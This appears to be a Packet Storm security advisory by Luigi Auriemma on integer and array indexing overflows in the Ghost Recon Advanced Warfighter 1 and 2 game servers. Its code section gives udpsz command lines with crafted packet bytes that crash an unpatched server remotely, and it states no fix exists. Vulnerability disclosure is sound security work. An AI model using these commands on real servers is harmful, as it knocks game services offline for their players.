what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Ghost Recon Advanced Warfighter 1 / 2 Overflows

Ghost Recon Advanced Warfighter 1 / 2 Overflows
Posted Jul 8, 2010
Authored by Luigi Auriemma | Site aluigi.org

Ghost Recon Advanced Warfighter versions 1 and 2 suffer from integer and array indexing overflows.

tags | advisory, overflow
SHA-256 | d973bcc1e6529953596abb97784dab67f32422d00caf4533203eb9fcab4cab84

Ghost Recon Advanced Warfighter 1 / 2 Overflows

Change Mirror Download
#######################################################################

Luigi Auriemma

Applications: Ghost Recon Advanced Warfighter
Ghost Recon Advanced Warfighter 2
http://ghostrecon.us.ubi.com/graw2/
Versions: GRAW <= 1.35
GRAW2 <= 1.05
Platforms: Windows
Bugs: A] interger overflow
B] Array indexing overflow
Exploitation: remote, versus server
Date: 07 Jul 2010
Author: Luigi Auriemma
e-mail: aluigi@autistici.org
web: aluigi.org


#######################################################################


1) Introduction
2) Bugs
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


Ghost Recon Advanced Warfighter (GRAW) and its sequel (GRAW2) are two
well known games developed by GRIN (http://www.grin.se) and part of the
famous game series called Ghost Recon.


#######################################################################

=======
2) Bugs
=======

-------------------
A] integer overflow
-------------------

The games are affected by an integer overflow in a particular type of
packet that makes the following operations:
- takes the number from a 16 bit field (offset 4)
- multiplicates it by 1300
- takes the 32 bit number after it at offset 6
- substracts the first number from the second one
- checks if the result is bigger than the size of the packet (signed)
- performs a byte-per-byte copying on a heap buffer


--------------------------
B] Array indexing overflow
--------------------------

In some types of packets an 8bit value is used for accessing an array
used for internal operations (pointers and so on).
So through the setting of particular values for that 8bit field is
possible to crash the server during these internal operations.


In both the cases doesn't seem possible to have worst effects than
invalid memory accesses.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/udpsz.zip

A]
udpsz -C "0100 13 0003 0000 ffffffff" -b 0x41 SERVER 16250 3000

B]
udpsz -C "0100 0d" -X 3 8 l 0 -l 50 -b 0x41 SERVER 16250 3000
or
udpsz -C "0100 0e" -X 3 8 l 0 -l 50 -b 0x41 SERVER 16250 3000


#######################################################################

======
4) Fix
======


No fix.


#######################################################################


Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    31 Files
  • 26
    Jul 26th
    13 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    27 Files
  • 30
    Jul 30th
    49 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close